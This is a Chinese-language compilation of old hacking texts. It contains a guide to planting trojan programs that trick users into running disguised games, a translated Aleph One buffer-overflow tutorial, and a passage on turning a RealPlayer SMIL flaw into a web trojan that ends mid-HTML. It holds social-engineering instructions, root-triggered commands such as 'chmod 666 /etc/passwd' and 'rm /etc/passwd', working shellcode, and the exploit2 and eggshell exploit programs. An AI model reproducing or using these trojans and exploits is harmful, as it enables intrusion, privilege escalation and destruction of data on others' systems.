在让他们运行tic-tac-toe之前,你得宣扬 "我有一个新的tic-tac-toe程序,你们都
该试试.它就在我的目录下."或者别的什么的.如果你不想通过公共通告告诉所有人,
那么就通过邮件发给那些你想捕捉的人.
如果你不能找到一个真正的程序来修改,就用上面的程序并在两个'}'之间加这么一行,
在程序的末尾加上:
printf("Error opening tic-tac-toe data file. Sorry! ");
当该程序运行时,它就会显示上面那条错误的信息. 用户会想"嘿,那家伙连一个
简单的 tic-tac-toe 程序都不会写."其实真正被捉弄的人是他自己,你现在能阅读
他的邮件了.
如果在用户的目录下有一个指定的文件想看 (比如叫 "secret"),你只要把
下面的程序一起发给用户:
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
然后表现得象 Joe Loser并告诉他: "我写了一个叫'超级星球大战'的程序,你想
试试吗?"
你应该充分发挥你的想象力.想出一些指令让那些人执行,并把它们以C语言程序的形式
放在系统中.然后引诱那些人来运行你的程序.
这儿有个非常巧妙地利用上述技巧的方法:
步骤三:成为超级用户
------------------------
写一个程序让别人运行.在程序中加入这行:
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
这是为检查root是否在运行你的程序. 如果是,你就能让他执行任何你想执行的shell命令
你能让他执行下列命令:
"chmod 666 /etc/passwd"
/etc/passwd 是系统的口令存放文档. 只有root 拥有这个文档.通常所有的用户
都能读它(口令已被编码), 但是只有 root 能改写它.如果你以前没有看过,你得好好看看它的
格式. 这条命令能让你往该文档中写东西. 也就是说为你和你的朋友建立不受限制的帐户.
"chmod 666 /etc/group"
通过把你加入到高权限的组中, 你能留很多后门.
"chmod 666 /usr/lib/uucp/L.sys"
如果在uucp网上,找一下系统中的着个文档. 它包含有连到网上其他系统的拨号
联接及口令, 通常只有uucp管理员能读. 找到谁拥有这个文档,然后让他不知不觉地运行那个能让你
解开该文档的程序.
"rm /etc/passwd"
如果你能取得 root 的权限,运行着条命令, 系统的passwd 文档就会被移走,
系统会被停下而且在短期内不能恢复.这样做回造成巨大的损失.
-----
如果你准备将特洛伊木马程序添加到你的系统中,你应遵守几条规则.如果是为了不可告人
的目的(如解开用户的mbox或删除他的所有文件或其他什么的) 这个程序不可能是一个能让别人
运行多次的程序,因为一旦人们发现他们的文件都已公开,问题的根源就很容易被发现.如果是以
一个'测试'程序为目的(如你正在写的一个游戏程序),你能通过邮件要求不同的人来运行或和他
们讨论.正如我所说,这个'测试'程序当完成任务时能显示假的错误信息,你就可以告诉那人"唔,
我想它应改进", 等到他们离开,你就能读任何你解开的文档了.如果你的特洛伊木马程序
只是为用来找到特殊的用户,如root或其他的拥有很高权限的用户,你可以将代码加入到系统中那
些用户使用频率比较高的程序中. 你的修改会潜伏着直到他运行那程序. 如果你不能找到能让你
'星际旅行'的源程序或其他的C语言程序,你只要学了C语言并从pascal中变换过一些来. 学习C
语言并没有什么损失,因为它是一种非常了不起的语言.我们已经看到它能在UNIX系统上所能干的.
一旦你抓到 root (也就是说你已经可以修改 /etc/passwd 文档) 从你的特洛伊木马程序中删除
伪造用的代码,这样一来你就永远不会被抓了.
返回黑客天书
Buffer Overflow 机理剖析
使用Buffer Overflow 方法来入侵目的主机是黑客们经常采用的一种手段,本文将几篇介绍其机理的文章作了一些加工整理, 对它的机理作出了由浅入深的剖析.
本文分为下面几个部分, 朋友们可以按照自己的兴趣选择不同的章节:
关于堆栈的基础知识
Buffer Overflow 的原理
Shell Code 的编写
实际运用中遇到的问题
附录

--------------------------------------------------------------------------------
1. 关于堆栈的基础知识
一个应用程序在运行时,它在内存中的映像可以分为三个部分: 代码段 , 数据段和堆栈段(参见下图). 代码段对应与运行文件中的 Text Section ,其中包括运行代码和只读数据, 这个段在内存中一般被标记为只读 , 任何企图修改这个段中数据的指令将引发一个 Segmentation Violation 错误. 数据段对应与运行文件中的 Data Section 和 BSS Section ,其中存放的是各种数据(经过初始化的和未经初始化的)和静态变量.
下面我们将详细介绍一下堆栈段.
｜－－－－－－－－｜　虚存低端
｜　　　　　　　　｜
｜　　代码段　　　｜
｜　　　　　　　　｜
｜－－－－－－－－｜
｜　　　　　　　　｜
｜　　数据段　　　｜
｜　　　　　　　　｜
｜－－－－－－－－｜
｜　　　　　　　　｜
｜　　堆栈段　　　｜
｜　　　　　　　　｜
｜－－－－－－－－｜　虚存高端
堆栈是什么?
如果你学过<<数据结构>>这门课的话, 就会知道堆栈是一种计算机中经常用到的抽象数据类型. 作用于堆栈上的操作主要有两个: Push 和 Pop , 既压入和弹出. 堆栈的特点是LIFO(Last in , First out), 既最后压入堆栈的对象最先被弹出堆栈.
堆栈段的作用是什么?
现在大部分程序员都是在用高级语言进行模块化编程, 在这些应用程序中,不可避免地会出现各种函数调用, 比如调用C 运行库,Win32 API 等等. 这些调用大部分都被编译器编译为Call语句. 当CPU 在执行这条指令时, 除了将IP变为调用函数的入口点以外, 还要将调用后的返回地址放入堆栈. 这些函数调用往往还带有不同数量的入口参数和局部变量, 在这种情况下,编译器往往会生成一些指令将这些数据也存入堆栈(有些也可通过寄存器传递).
我们将一个函数调用在堆栈中存放的这些数据和返回地址称为一个栈帧(Stack Frame).

栈帧的结构:
    下面我们通过一个简单的例子来分析一下栈帧的结构.
void proc(int i)
{
int
        local;
local=i;
}
void
        main()
{
proc(1);
}
这段代码经过编译器后编译为:(以PC为例)
main：push　1
      call　 proc
      ．．．
proc：push　ebp
      mov　ebp,esp
      sub　esp,4
      mov　eax,[ebp+08]
      mov　[ebp-4],eax
      add　esp,4
      pop　ebp
      ret　4
下面我们分析一下这段代码.
main：push 1
      call proc
首先, 将调用要用到的参数1压入堆栈,然后call proc
proc：push ebp
      mov ebp,esp
我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置只和esp有关系,如可通过[esp+4]存取参数1. 但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过[esp+4]来存取1了. 因此, 为了便于参数和变量的存取, 编译器又引入了一个基址寄存器ebp, 首先将ebp的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用[ebp+8]来存取参数1了.
      sub esp,4
将esp减4,留出一个int的位置给局部变量 local 使用, local可通过[ebp-4]来存取
      mov　eax,[ebp+08]
      mov [ebp-4],eax
就是 local=i;
      add esp,4
      pop ebp
      ret 4
首先esp加4,收回局部变量的空间,然后pop ebp, 恢复ebp原值,最后 ret 4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间.
不难看出,这个程序在执行proc过程时,栈帧的结构如下:
  4　　　　4　　　　4　　　　4
[local]　[ebp]　[ret地址]　[参数1]　内存高端
|　　　　|
esp(栈顶)ebp
因此,我们可以总结出一般栈帧的结构:
．．[local1][local2]．．[localn][ebp][ret地址][参数1][参数2]．．[参数n]
|　　　　　　　　　　　　　　　　|
esp(栈顶)　　　　　　　　　　　　ebp
了解了栈帧的结构以后,现在我们可以来看一下 Buffer overflow 的机理了.

--------------------------------------------------------------------------------
2. Buffer Overflow 的机理
我们先举一个例子说明一下什么是 Buffer Overflow :
void function(char *str)
{
char
        buffer[16];
strcpy(buffer,str);
}
void main()
{
    char large_string[256];
    int i;
    for( i = 0; i < 255; i++)
    large_string = 'A';
    function(large_string);
}
这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 Segmentation Violation 错误.下面我们就来分析一下为什么会这样?
首先我们看一下未执行strcpy时堆栈中的情况:
      16　　　4　　　4　　　　　4
...[buffer] [ebp] [ret地址] [large_string地址]
|　　　　　　|
esp　　　　　ebp
当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报Segmentation Violation.
从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程序(如insh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事. 因此, 这段代码一般被称为Shell Code.
下面我们就来看一下如何编写Shell Code.

--------------------------------------------------------------------------------
3. Shell Code 的编写
下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)
void main() {
    char *name[2];
    name[0] = "/bin/sh";
name[1] =
        NULL;
execve(name[0], name, NULL);
}
我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
下面我们来首先来分析一下main代码中每条语句的作用:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:
char *name[2];
也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
将NULL放入name[1]的内存单元中, 也就是相当于:
name[1] = NULL;
对execve()的调用从下面开始:
0x8000144 <main+20>: pushl $0x0
开始将参数以逆序压入堆栈, 第一个是NULL.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
将name[]的起始地址压入堆栈
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
将字符串"/bin/sh"的地址压入堆栈
0x800014e <main+30>: call 0x80002bc <__execve>
调用execve() . call 指令首先将 EIP 压入堆栈
------------------------------------------------------------------------------------
现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.
我们的这个例子是在基于Intel X86的Linux上运行的．所以我们首先应该知道Linux中，系统调用以软中断的方式产生( INT 80h)，参数是通过寄存器传递给系统的．
0x80002bc <__execve>: 　pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
同样的入口处理
0x80002c0 <__execve+4>: movl $0xb,%eax
将0xb(11)赋给eax , 这是execve()在系统中的索引号．
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
将字符串"/bin/sh"的地址赋给ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
将name[]的地址赋给ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
将NULL的地址赋给edx
0x80002ce <__execve+18>: int $0x80
产生系统调用，进入核心态运行．
------------------------------------------------------------------------------------
看了上面的代码，现在我们可以把它精简为下面的汇编语言程序：
leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
string　db　"/bin/sh",0
string_addr　dd　0
null_addr　　dd　0
-------------------------------------------------------------------------------------
但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:
movl string_addr,%ebx
这种需要将绝对地址编码进机器语言的指令根本就没法使用.
解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.
------------------------------------------------------------------------------
经过上面的修改,我们的ShellCode变成了下面的样子:
jmp 0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr 　dd 0 # 2 bytes，跳转到CALL
# 1 byte， 弹出string地址
# 4 bytes，将string变为以''结尾的字符串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes，跳转到popl %esi
------------------------------------------------------------------------------------
我们知道C语言中的字符串以''结尾,strcpy等函数遇到''就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有''. 下面我们就对它作最后一次改进,去掉其中的'':
原指令：　　　　　　　　　　替换为：
--------------------------------------------------------
movb　$0x0，0x7(%esi)　　　　xorl %eax,%eax
movl　$0x0，0xc(%esi)　　　　movb %eax,0x7(%esi)
                             movl %eax,0xc(%esi)
--------------------------------------------------------
movl　$0xb,%eax　　　　　　　movb $0xb,%al
--------------------------------------------------------
OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x18　　　　　　 # 2 bytes
popl %esi　　　　　　# 1 byte
movl %esi,0x8(%esi)　# 3 bytes
xorl %eax,%eax　　　 # 2 bytes
movb %eax,0x7(%esi)　# 3 bytes
movl %eax,0xc(%esi)　# 3 bytes
movb $0xb,%al　　　　# 2 bytes
movl %esi,%ebx　　　 # 2 bytes
leal 0x8(%esi),%ecx　# 3 bytes
leal 0xc(%esi),%edx　# 3 bytes
int　$0x80　　　　　 # 2 bytes
call -0x2d　　　　　 # 5 bytes
.string "/bin/sh"　# 8 bytes
");
}
------------------------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b
x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh
现在我们可以写我们的试验程序了:
------------------------------------------------------------------------------
exploit1.c:
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";
char large_string[128];
void main()
{
char buffer[96];
int
        i;
long *long_ptr = (long *) large_string;
  for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;
  for(i=0;i<strlen(shellcode);i++) large_string=shellcode;
  strcpy(buffer,large_string);
}
-------------------------------------------------------------------------------------
在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[]的起始位置,从而保证在BufferOverflow时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.
现在我们编译运行一下这个程序:
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.
但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用.

--------------------------------------------------------------------------------
4. 实际运用中遇到的问题
  在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了.
  但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题.
  幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.
  下面就是一个打印堆栈起始地址的程序:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x ", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数.
一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一直执行直至执行到ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可).
低端内存　DDDDDDDDEEEEEEEEEEEE　EEEE　FFFF　FFFF　FFFF　FFFF　高端内存
栈顶　　　89ABCDEF0123456789AB　CDEF　0123　4567　89AB　CDEF　栈底
          buffer　　　　　　　　ebp　　ret　　a　　b　　　c
  <------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                ^　　　　　　　　　　　|
                |＿＿＿＿＿＿＿＿＿＿＿|
现在我们就可以根据这个方法编写我们的攻击程序了.
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";
unsigned long
        get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char
        *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET,
        bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset= atoi(argv[2]);
if (!(buff =
        malloc(bsize)))
{
printf("Can't allocate memory.
        ");
exit(0);
}
addr=get_sp()-offset;
printf("Using address: 0x%x ", addr);
ptr=buff;
addr_ptr=(long
        *)ptr;
for(i=0;i<bsize;i+=4) *(addr_ptr++)=addr; //
        填充猜测的入口地址
for(i=0;i<bsize/2;i++) buff=NOP; //前半部填充NOP
ptr = buff + ((bsize/2) -
        (strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++)
        *(ptr++)=shellcode; //中间填充Shell Code
buff[bsize-1]='';
memcpy(buff,"EGG=",4);
        //将生成的字符串保存再环境变量EGG中.
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
好,现在我们来试验一下这个程序的效能如何.这次的攻击目标是xterm(所有链接了Xt Library的程序都有此缺陷). 首先确保X Server在运行并且允许本地连接.
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit2 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
OK! 看来我们的程序确实很好用.如果xterm有suid-root属性,那么这个shell就是一个具有root权限的Shell了.

--------------------------------------------------------------------------------
Appendix A - 若干操作系统/平台上的 Shell Code

i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string "/bin/sh"
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1

--------------------------------------------------------------------------------
Appendix B - 通用 Buffer Overflow 攻击程序

shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "x90";
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="xacx15xa1x6e";
char shellcode[] =
"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"
"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"
"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20x08"
"x90x1bxc0x0fx82x10x20x01x91xd0x20x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="xacx15xa1x6e";
char shellcode[] =
"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"
"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"
"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bxaax10x3fxff"
"x91xd5x60x01x90x1bxc0x0fx82x10x20x01x91xd5x60x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char
        *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET,
        bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0,
        eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize)
        {
printf("Shellcode is larger the the egg.
        ");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't
        allocate memory. ");
exit(0);
}
if (!(egg = malloc(eggsize)))
        {
printf("Can't allocate memory. ");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size: %d Egg size: %d Aligment: %d ] ",
bsize, eggsize, align);
printf("[ Address: 0x%x Offset: %d ] ", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i <
        bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize -
        strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n <
        NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) =
        nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
bof[bsize - 1] = '';
egg[eggsize - 1] = '';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ] [-o ] ");
}'


RealPlayer木马思路

作者：lcx
非安全第6期陈莎莎写了篇文章<<通过p2p共享影视文件抓肉鸡>>，里边的抓肉鸡主要思路是在rm影音文件中插入网页木马的url链接，用户看影音文件到某个时段弹出网页木马的url。其实，利用REALPLAYER本身的漏洞，直接做成网页木马，让用户在看rm的时候直接中马是有更好的效果。因为这样一来，此漏洞利用是与IE无关了，而且打REALPLAYER补丁的人少之又少，成功率还是很高的。只要装有REALPLAYER或暴风影音支持smil格式等播放器的用户都会中招。
2005年3月份，REALPLAYER暴出安全漏洞，大体意思是：RealPlayer事一款媒体播放器。使用者可以以基于缓冲区溢出脆弱用协调的多媒体综合语言(smil)文件形式语法分析程序，这能允许一个存心不良的攻击者在一台脆弱的机器上运行任意的代码。受影响系统： Windows RealPlayer 10.5 (6.0.12.1040-1056)、Windows RealPlayer 10 、Windows RealOne Player v2 (6.0.11.853 - 872) 、 Windows RealOne Player v2 (6.0.11.818 - 840) 、Windows RealOne Player v1 、Windows RealPlayer 8 、Windows RealPlayer Enterprise 、Mac RealPlayer 10 (10.0.0.305 - 325) 、Mac RealOne Player 、Linux RealPlayer 10 、Linux Helix Player。从这个漏洞的描述上来看，也会明白这个网页木马的可怕之处。
恶意的smil文件生成器，网上有现成的代码。如图1所示，我用编译好的real.exe生成了1个1.smil文件。
我本机装有暴风影音，打开这个1.smil，如图2所示。此时我本机就会开13579端口。netstat -an来看一下，再telnet本机13579端口试试，成功！如图3、图4所示。注意在图4中执行命令的时候，并没有回显，打完命令运行后才能看到结果的，是系统权限的。
这个漏洞的利用方法大体就是这个样子。我们现在就是利用此漏洞来制做成网页木马，让用户打开网页后就会打开本机的13579端口。其实说白了，也就是如何在网页中调用生成的smil文件。什么是smil文件呢？也就是replayer连续播放影音文件的一种调用方法。举个简单的例子，如果想连续播放两首mp3，网页代码如下：
★
<OBJECT classid="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH="256" HEIGHT="64">
<PARAM NAME="_ExtentX" VALUE="9313">
<PARAM NAME="_ExtentY" VALUE="1588">
<PARAM NAME="AUTOSTART" VALUE="-1">
